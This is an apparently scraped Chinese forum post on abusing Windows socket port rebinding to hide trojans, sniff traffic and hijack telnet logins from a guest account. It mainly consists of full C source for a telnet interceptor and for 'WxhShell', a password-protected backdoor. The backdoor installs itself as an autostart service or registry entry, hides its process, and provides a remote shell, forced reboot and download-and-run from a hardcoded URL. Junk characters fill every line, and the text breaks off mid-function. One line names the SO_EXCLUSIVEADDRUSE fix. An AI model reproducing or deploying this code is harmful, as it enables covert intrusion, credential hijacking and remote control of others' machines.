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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {aA6b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C9+rrc@4  
(-yif&  
  saddr.sin_family = AF_INET; "]jN'N(.  
NK|U:p2H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u>;aQtK~  
r )~?5d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u.q3~~[=  
}h`z2%5o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %3dc_YPS  
f\5w@nX  
  这意味着什么?意味着可以进行如下的攻击: 2<*"@Vj  
od#Lad@p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XOX$uLm  
9]N{8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  0Y!"3bw|  
wdj?T`4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <e#v9=}DI  
Q@}SR%p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )xf(4  
6<@ mB Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  ,7:GLkj  
;|K }  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1D[V{)#  
'bRf>=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pz*BuL <  
.WSn Y71  
  #include 41/civX>V  
  #include @F8NN\  
  #include Pg.JI:>2Ku  
  #include    (,sz.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V}TPt6C2  
  int main() Ur 1k3  
  { j)G%I y[`  
  WORD wVersionRequested; m\*ca3$  
  DWORD ret; bv <^zuV  
  WSADATA wsaData; H,<CR9@(5d  
  BOOL val; Zz (qc5o,F  
  SOCKADDR_IN saddr; _*=4xmB.=  
  SOCKADDR_IN scaddr; UxMy8} w!y  
  int err; #&uajo  
  SOCKET s; ?#c "wA&  
  SOCKET sc; 8Y%  
  int caddsize; lq-F*r\/~+  
  HANDLE mt;  DEu0Z  
  DWORD tid;   Ho}*Bn~ic  
  wVersionRequested = MAKEWORD( 2, 2 ); /T qbl^[  
  err = WSAStartup( wVersionRequested, &wsaData ); }^H(EHE  
  if ( err != 0 ) { )+v5 H  
  printf("error!WSAStartup failed!\n"); %@(+`CCA  
  return -1; O.#R r/+)  
  } KUPQ6v }  
  saddr.sin_family = AF_INET; RPMz&/k  
   Xgh%2 ;:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .+Q1h61$T  
p]X+#I<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D*46,>Tv  
  saddr.sin_port = htons(23); )6XnxBSH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m.6uLaD"!}  
  { z1tD2jL_  
  printf("error!socket failed!\n"); m; =S]3P*  
  return -1; c>c3qjWY/  
  } nzxHd7NIZ  
  val = TRUE; !p ~.Y+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M`#g>~bI#R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #2\M(5d  
  { Y&M{7  
  printf("error!setsockopt failed!\n"); x$Wtkb0<  
  return -1; 6(\-aH'Ol  
  } BGfwgI.m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~Gc@#Msj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >g+Y//Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ej7N5~!,s  
+R$;LtR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AvIheR  
  { G@e;ms1  
  ret=GetLastError(); SANb g&$  
  printf("error!bind failed!\n"); 8>|4iT  
  return -1; IY~I=}  
  } {?w *n_T.  
  listen(s,2); 5y='1s[%  
  while(1) 1mh7fZgn  
  { }#g &l*P  
  caddsize = sizeof(scaddr); l YdATM(h  
  //接受连接请求 }>f%8O}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (.z0.0W  
  if(sc!=INVALID_SOCKET) 3 ?gfDJfE  
  { |J-tU)|1vl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B}y#AVSA  
  if(mt==NULL) _MQh<,Z8  
  { 9l[C&0w#\  
  printf("Thread Creat Failed!\n"); d]_].D$  
  break; BVv-1$ U^  
  } b!QRD'31'j  
  } 7 mA3&<&q  
  CloseHandle(mt); Rc@lGq9  
  } Z@JTZMN_  
  closesocket(s); %"E!E1_Sv  
  WSACleanup(); A[Ce3m  
  return 0; .ezko\nU  
  }   b V_<5PHP  
  DWORD WINAPI ClientThread(LPVOID lpParam) *!NW!,R  
  { 9$(N q  
  SOCKET ss = (SOCKET)lpParam; fP;I{AiN~  
  SOCKET sc; 0ly6  |:  
  unsigned char buf[4096]; gpbdK?  
  SOCKADDR_IN saddr; Vw.4;Zy(  
  long num; FAGi`X<L  
  DWORD val; &"1_n]JO  
  DWORD ret; O#^qd0e'P!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sV%=z}n=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5M>SrZH  
  saddr.sin_family = AF_INET; oY\;KPz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -G1R><8[  
  saddr.sin_port = htons(23); Uu`}| &@i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]]u_Mdk  
  { rJp9ut'FEz  
  printf("error!socket failed!\n"); 5P('SFq'=  
  return -1; NP.qh1{NP  
  }  j)mS3#cH  
  val = 100; E_z,%aD[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ! OVi\v 'm  
  { 4/x.qoj  
  ret = GetLastError(); &` "uKO]  
  return -1; 2C_I3S ~U  
  } *MWI`=c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {Z$]Rj  
  { Tz(Dhb,  
  ret = GetLastError(); lP(<4mdP  
  return -1; MzW!iG  
  } ~vZ1.y4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 85H*Xm?d#  
  { zs-,Y@ZL  
  printf("error!socket connect failed!\n"); cnDBT3$~Z  
  closesocket(sc); pL.~z  
  closesocket(ss); v`jFWq8I,  
  return -1; WK SWOSJ  
  } 3\B~`=*q/  
  while(1) LKud'  
  { JS >"j d#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~W gO{@Mw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4 tt=u]:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4 $)}d  
  num = recv(ss,buf,4096,0); 1 x0)mt3  
  if(num>0) &3~R-$P  
  send(sc,buf,num,0); TU2MG VYy  
  else if(num==0) n>lQ:l~  
  break; eYg0 NEq{  
  num = recv(sc,buf,4096,0); iqTmgE-  
  if(num>0) B an" H~  
  send(ss,buf,num,0); NA$ODK -  
  else if(num==0) <U /r U9O  
  break; tgrZs8?  
  } !6+V  
  closesocket(ss); OH5#.${O  
  closesocket(sc); u])MI6LF  
  return 0 ; @j r$4pM?  
  } 2$ \#BG  
(bogAi3<F  
 ZN;fDv  
========================================================== ;Ac!"_N?7  
zL+M-2hV  
下边附上一个代码,,WXhSHELL jdD`C`w|,  
|y]8gL^  
========================================================== 7YU}-gi  
VB+y9$Y'  
#include "stdafx.h" 1i|5ii*vc  
V#PT.,Xa.  
#include <stdio.h> |uA /72  
#include <string.h> {'zs4)vw  
#include <windows.h> L<N=,~  
#include <winsock2.h> $I3}% '`+  
#include <winsvc.h> }Do$oyAV$G  
#include <urlmon.h> IkLcL8P^  
E-#}.}i5  
#pragma comment (lib, "Ws2_32.lib") a&`Lfw"  
#pragma comment (lib, "urlmon.lib") LkJ-M=y  
)}\J    
#define MAX_USER   100 // 最大客户端连接数 i~*#z&4A+  
#define BUF_SOCK   200 // sock buffer z0tm3ovp  
#define KEY_BUFF   255 // 输入 buffer {,o 0N\(  
Kx,<-]4  
#define REBOOT     0   // 重启 R M`iOV,Y  
#define SHUTDOWN   1   // 关机 *i7|~q/u  
K&iU+  
#define DEF_PORT   5000 // 监听端口 R?kyJ4S  
Qb1hk*$=  
#define REG_LEN     16   // 注册表键长度 )G|'PXI@,  
#define SVC_LEN     80   // NT服务名长度 (DKQHL;  
iC<qWq|S_m  
// 从dll定义API safI`b w1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hzy#%FaB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j1$s^-9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2o`L^^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v1s0kdR,>  
&o)eRcwH`  
// wxhshell配置信息 WS ^%< h#  
struct WSCFG { $C&E3 'O  
  int ws_port;         // 监听端口 SfwNNX%  
  char ws_passstr[REG_LEN]; // 口令 ~$ "P\iJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no )m(?U  
  char ws_regname[REG_LEN]; // 注册表键名 R-Z)0S'ZR  
  char ws_svcname[REG_LEN]; // 服务名 $)M 5@KT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8<X; 8R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b,RQ" {  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 glRHn?p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kCU (Hi`Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :.f m LL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <8 25?W|  
"?{=|%mf  
}; [`|gj  
q!8aYw+c  
// default Wxhshell configuration 7a<:\F}E0  
struct WSCFG wscfg={DEF_PORT, 0\yA6`}!  
    "xuhuanlingzhe", +Rd;>s*.Y  
    1, -f8iq[F5  
    "Wxhshell", 5*Y(%I<  
    "Wxhshell", ,CQg6- [  
            "WxhShell Service", - |&&lxrwh  
    "Wrsky Windows CmdShell Service", hxuc4C\J  
    "Please Input Your Password: ", :pgpE0  
  1, &qae+p?  
  "http://www.wrsky.com/wxhshell.exe", [#C(^J*@c  
  "Wxhshell.exe" .L}k-8  
    }; 5g;i{T/6~x  
|]x>|Z?/u  
// 消息定义模块 </jTWc'}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qgw)SuwW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 77p8|63  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pu6@X7W"  
char *msg_ws_ext="\n\rExit."; pK@8= +  
char *msg_ws_end="\n\rQuit."; GC^>oF  
char *msg_ws_boot="\n\rReboot..."; <Is~DjIav  
char *msg_ws_poff="\n\rShutdown..."; tx||<8  
char *msg_ws_down="\n\rSave to "; !$8 e6  
ps3jw*QZ{5  
char *msg_ws_err="\n\rErr!"; 8iUj9r_  
char *msg_ws_ok="\n\rOK!"; _T.k/a  
5}"9)LT@@w  
char ExeFile[MAX_PATH]; z[0B"f  
int nUser = 0; }w/6"MJ[n  
HANDLE handles[MAX_USER]; Q}:#H z?U  
int OsIsNt; 5? 1:RE(1  
&`Ek-b!7  
SERVICE_STATUS       serviceStatus; =^`?O* /;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X_2p C|C  
) i=.x+Q  
// 函数声明 f#b;s<G  
int Install(void);  MON]rj7  
int Uninstall(void); *'hJ5{U  
int DownloadFile(char *sURL, SOCKET wsh); 6~c:FsZ)  
int Boot(int flag); R&]#@PW^  
void HideProc(void); *32hIiCm  
int GetOsVer(void); =/MA`>  
int Wxhshell(SOCKET wsl); cCbZ*  
void TalkWithClient(void *cs); M)j.Uu  
int CmdShell(SOCKET sock);  &'<e9  
int StartFromService(void); 8XdgtYm  
int StartWxhshell(LPSTR lpCmdLine); S!+}\*  
eNX!EN(^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8t >nL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bE>"DP q  
nb}rfd.  
// 数据结构和表定义 -|_MC^)  
SERVICE_TABLE_ENTRY DispatchTable[] = Y2Y)|<FH  
{ b]k9c1x  
{wscfg.ws_svcname, NTServiceMain}, HGlQZwf  
{NULL, NULL} ~l"]J'jF"H  
}; bn6WvC 3?  
k}FmdaPI'  
// 自我安装 I::|d,bR!  
int Install(void) |!E: [UH  
{ JBt2R=  
  char svExeFile[MAX_PATH]; $bsD'Io  
  HKEY key; S>V+IKW;(  
  strcpy(svExeFile,ExeFile); I> BGp4AQ  
T?HW=v_a  
// 如果是win9x系统,修改注册表设为自启动 }YCpd)@  
if(!OsIsNt) { 2$s2u;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =C 7WQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fv/Nf"  
  RegCloseKey(key); qvG@kuz8g5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xY>@GSO1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rc`}QoB)R  
  RegCloseKey(key); _UGR+0'Q\  
  return 0; 5)iOG#8qJ  
    } $* hqF1Q  
  } Dbl+izF3  
} pq$-s7#  
else { 2rPmu  
H<Ik.]m  
// 如果是NT以上系统,安装为系统服务 !!?TkVyEyM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~EtwX YkRZ  
if (schSCManager!=0)  x>$e*  
{ VMIX=gTZ  
  SC_HANDLE schService = CreateService 7-#   
  ( +FJ+,|i  
  schSCManager, y7~y@2  
  wscfg.ws_svcname, 9wbj}tN\z  
  wscfg.ws_svcdisp, TQ5*z,CkS  
  SERVICE_ALL_ACCESS, M`) /^S9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a]nK!;>$  
  SERVICE_AUTO_START, ?/|KM8  
  SERVICE_ERROR_NORMAL, H5>?{(m  
  svExeFile, a&RH_LjM  
  NULL, K*S3{s%UR  
  NULL, Fj4>)!^kM  
  NULL, vb`R+y@  
  NULL, {;vLM* '  
  NULL 03H0(ku=  
  ); ez<V  
  if (schService!=0) 2"6bz^>}  
  { ]Bj2;<@y  
  CloseServiceHandle(schService); 'S%H"W\  
  CloseServiceHandle(schSCManager); {hFH6]TA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Da?)Hz'F  
  strcat(svExeFile,wscfg.ws_svcname); L Q0e@5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L Iz<fB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7>lM^ :A  
  RegCloseKey(key); .F},Z[a&  
  return 0; [h63*&  
    } Z7XFG&@6  
  } gVNoC-n)  
  CloseServiceHandle(schSCManager); F.),|t$\  
} ;2P  
} }`.d4mm  
&EmG\vfE  
return 1; gCq'#G\Z  
} T>68 ,; p  
Qk72ra)  
// 自我卸载 +/ rt'0o  
int Uninstall(void) V]NCFG  
{ 2Gh&h(  
  HKEY key; VwOcWKD  
JED\"(d(  
if(!OsIsNt) { < 1[K1'7h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \@[,UZ  
  RegDeleteValue(key,wscfg.ws_regname); BU#3fPl  
  RegCloseKey(key); 3$wK*xK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >L ')0<!&  
  RegDeleteValue(key,wscfg.ws_regname); +pRNrg?k  
  RegCloseKey(key); A `{hKS  
  return 0; YPW UncV  
  } XY#.?<"Q8  
} mv 7W03  
} dXfLN<nD>U  
else { 0j;q^>  
Zm0'p!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5] LfJh+"n  
if (schSCManager!=0) 1YK(oRSDn  
{ T'{9!By,P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %&S9~E D  
  if (schService!=0) 2VzYP~Jg  
  { 2+_a<5l~  
  if(DeleteService(schService)!=0) { d f!i}L  
  CloseServiceHandle(schService); ^t:dcY7  
  CloseServiceHandle(schSCManager); 2RQ- L  
  return 0; P0pBR_:o  
  } F$bV}>-1k  
  CloseServiceHandle(schService); bQ(-M:  
  } @fb"G4o`:  
  CloseServiceHandle(schSCManager); |{v#'";O:  
} $,yAOaa  
} v& bG`\!  
oKb"Ky@s  
return 1; T+^c=[W  
} c]zFZJ6M  
3{f g3?  
// 从指定url下载文件 wZs 2 aa  
int DownloadFile(char *sURL, SOCKET wsh) qV6WT&)T  
{ hJsP;y:@Lm  
  HRESULT hr; w@<II-9L)<  
char seps[]= "/"; $1g1Bn  
char *token; <z\`Ma  
char *file; ?U{<g,^  
char myURL[MAX_PATH]; ^GyZycch  
char myFILE[MAX_PATH]; N<1+aL\  
<Se9 aD  
strcpy(myURL,sURL); 2?SbkU/3|P  
  token=strtok(myURL,seps); 'NZ=DSGIy  
  while(token!=NULL) +:"0 %(  
  { J>5rkR@/  
    file=token; GbclR:G  
  token=strtok(NULL,seps); $ dF3@(p  
  } G:p85k `  
0Ni{UV? k  
GetCurrentDirectory(MAX_PATH,myFILE); 8xg^="OJ  
strcat(myFILE, "\\"); 1)MDnODJ  
strcat(myFILE, file); MXa^ g"  
  send(wsh,myFILE,strlen(myFILE),0); a eeor  
send(wsh,"...",3,0); BjeD4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !nCq8~#  
  if(hr==S_OK) fP V n;  
return 0; bi^?SH\  
else E^zfI9R  
return 1; oFf9KHorW  
T4HJy|  
} t:5-Ro  
50j8+xJPV  
// 系统电源模块 yji[Yde;|  
int Boot(int flag) BqY_N8l&E  
{ wV"`Du7E;  
  HANDLE hToken; "J`&"_CyZ  
  TOKEN_PRIVILEGES tkp; Be=rBrI>  
CF2Bd:mfZ  
  if(OsIsNt) { tw>2<zmSi%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =jJEl=*S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V@!)Pw  
    tkp.PrivilegeCount = 1; 4uo`XJuQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [104;g <  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uTxa5j  
if(flag==REBOOT) { *Ud(HMTe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \7uM5 k}l  
  return 0; p.SipQ.P  
} :t]HY2  
else { Pp s-,*m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {@^;Nw%J  
  return 0; *B"Y]6$  
} Z(T{K\)uN  
  } RHg-Cg`  
  else { . \"k49M`  
if(flag==REBOOT) { 0{|HRiQH9+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k=hWYe$iAz  
  return 0; `daqzn  
} iU;e!\A  
else { ||_hET  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m|;(0 rft  
  return 0; -juG[zn  
} uv27Vos  
} YR9fw  
A913*O: \  
return 1; BzP,Tu{,  
} 6t6Z&0$h~  
|4Q*4s  
// win9x进程隐藏模块 C/Khp +  
void HideProc(void) )ODF6Ag  
{ ]~KLdgru_  
_XV%}Xb'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vRmn61  
  if ( hKernel != NULL ) jdP )y]c  
  { LdV&G/G-#D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S{rltT-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rP3HR 5  
    FreeLibrary(hKernel); &0Yg:{k$  
  } .p&@;fZ  
2gPqB*H  
return; DH-M|~.sf^  
} IW 3k{z  
QEhn  
// 获取操作系统版本 fkBL`[v)4  
int GetOsVer(void) hM Dd*<%l  
{ 4^tSg#!V{  
  OSVERSIONINFO winfo; lmvp,BzC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h'):/}JPl  
  GetVersionEx(&winfo); )U?_&LY)[M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '4[=*!hs!  
  return 1; * x/!i^  
  else 4Z( #;9f  
  return 0; G@[8P?M=Z  
} _\ToA9m  
amu;grH  
// 客户端句柄模块 qN)y-N.LI(  
int Wxhshell(SOCKET wsl) ~#A}=, 4>  
{ +jGHR& A t  
  SOCKET wsh; Z<-_Y]4j  
  struct sockaddr_in client; %9J@##+  
  DWORD myID; {AL EK   
n qcq3o*B  
  while(nUser<MAX_USER) W)In.?>]W  
{ MzJCiX^  
  int nSize=sizeof(client); AK2Gm-hHK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6pt_cpbR  
  if(wsh==INVALID_SOCKET) return 1; L*(9Hti  
lLx!_h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q@|+`>h  
if(handles[nUser]==0) g* q#VmE  
  closesocket(wsh); py*22Ua^  
else Dcl$?  
  nUser++; 6#?T?!vZ  
  } \<4N'|:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cO~<iy  
Z!1D4`w  
  return 0; 9%/hoA)  
}  +$dJA  
z%;p lMj  
// 关闭 socket iC gZ3M]  
void CloseIt(SOCKET wsh) :Ha/^cC/3  
{ ,N.8  
closesocket(wsh); wVs?E  
nUser--; Q`ua9oIJ=  
ExitThread(0); Da=EAG-{7  
} Ys"wG B>  
/{i~CGc ;"  
// 客户端请求句柄 _4ag-'5  
void TalkWithClient(void *cs) b_0THy.Z  
{ X z+%Ym  
*o6}>;  
  SOCKET wsh=(SOCKET)cs; bx0.(Nv/X  
  char pwd[SVC_LEN]; u6qK4*eAD  
  char cmd[KEY_BUFF]; 3nq?Y8yac  
char chr[1]; +)Z]<O  
int i,j; DXFu9RE\{  
2"Os9 KD  
  while (nUser < MAX_USER) { jjs/6sSRk  
sVLvnX,  
if(wscfg.ws_passstr) { 9 BCW2@Kp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =kjKK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >rSjP1-F  
  //ZeroMemory(pwd,KEY_BUFF); aAo|3KCs  
      i=0; WJShN~ E  
  while(i<SVC_LEN) { Y[ G_OoU  
]K=#>rZrB  
  // 设置超时 ( ;FxKm<P@  
  fd_set FdRead; Z*,e<zNQ  
  struct timeval TimeOut; D tsZP (  
  FD_ZERO(&FdRead); I= mz^c{  
  FD_SET(wsh,&FdRead); S$6|K Y u  
  TimeOut.tv_sec=8; ewZ?+G+m  
  TimeOut.tv_usec=0; 2w?q7N%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 44]s`QyG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w_9^YO! !  
fqNh\~kja  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P*|N)S)X%  
  pwd=chr[0]; xEb>6+-F@  
  if(chr[0]==0xd || chr[0]==0xa) { LU1I `E  
  pwd=0; %pC<T*f  
  break; #EzBB*kP  
  } Dd3f@b[WX  
  i++; -;""l{  
    } b IDUa  
7- B.<$uC  
  // 如果是非法用户,关闭 socket <I+kB^Er  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dbp\tWaW  
} :6n#y-9^1  
xQoZ[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u?osX;'w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L\:|95Yq  
VUb>{&F[  
while(1) { q6zVu(  
7CIN!vrC|1  
  ZeroMemory(cmd,KEY_BUFF); /x VHd  
@CprC]X  
      // 自动支持客户端 telnet标准   aukcO ;oG<  
  j=0; (lk9](;L  
  while(j<KEY_BUFF) { TCr4-"`r-{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Hd[+vAvR  
  cmd[j]=chr[0]; ]a $6QS  
  if(chr[0]==0xa || chr[0]==0xd) { j\2Qe %d  
  cmd[j]=0; SSK}'LQ  
  break; ?=u?u k<-  
  } wQ_4_W  
  j++; Y.^L^ "%dF  
    } HJL! ;i  
Hon2;-:]{]  
  // 下载文件 d&AG~,&d|  
  if(strstr(cmd,"http://")) {  Nx}nOm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *PJH&g#Ge  
  if(DownloadFile(cmd,wsh)) ZU4=&K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @rl5k(  
  else r- 8Awa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^y+k6bE  
  } mdi!Q1pS  
  else { {u'szO}k  
o`T.Zaik,  
    switch(cmd[0]) { X+X:nL.t  
  yD\q4G  
  // 帮助 1w,_D.1'  
  case '?': { c<lp<{;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RS5<] dy  
    break; crmQn ^4\  
  } W .a>K$  
  // 安装 byHc0ktI\  
  case 'i': { i3-5~@M  
    if(Install()) 2)}n"ibbT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MxTJgY  
    else ]OAU&t{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y teIp'T  
    break; bnxp[Qk|5  
    } Mz@{_*2   
  // 卸载 9~SPoR/_0  
  case 'r': { _O`prX.:B0  
    if(Uninstall()) ~ 9>H(c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \GFq RRn  
    else =RoE=) 1&-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `<XS5h h=  
    break; }%g[1 #%(  
    } #S>N}<>  
  // 显示 wxhshell 所在路径 lhUGo =  
  case 'p': { E=NjWO  
    char svExeFile[MAX_PATH]; pF;.nt)  
    strcpy(svExeFile,"\n\r"); b 74 !Zw  
      strcat(svExeFile,ExeFile); /s?%ft#-9o  
        send(wsh,svExeFile,strlen(svExeFile),0); $^x=i;>aK.  
    break; Fh~9(Y#  
    } *5'8jC"2g  
  // 重启 YPK@BmAdE  
  case 'b': { rZKh}E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &;Ncc,jb  
    if(Boot(REBOOT)) O,$*`RZpx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fB2ILRc  
    else { ak7%  
    closesocket(wsh);  \XDiw~0  
    ExitThread(0); Y3~Uz#`SU  
    } r=j?0k '}]  
    break; 5i br1zs  
    } Yy~x`P'g!  
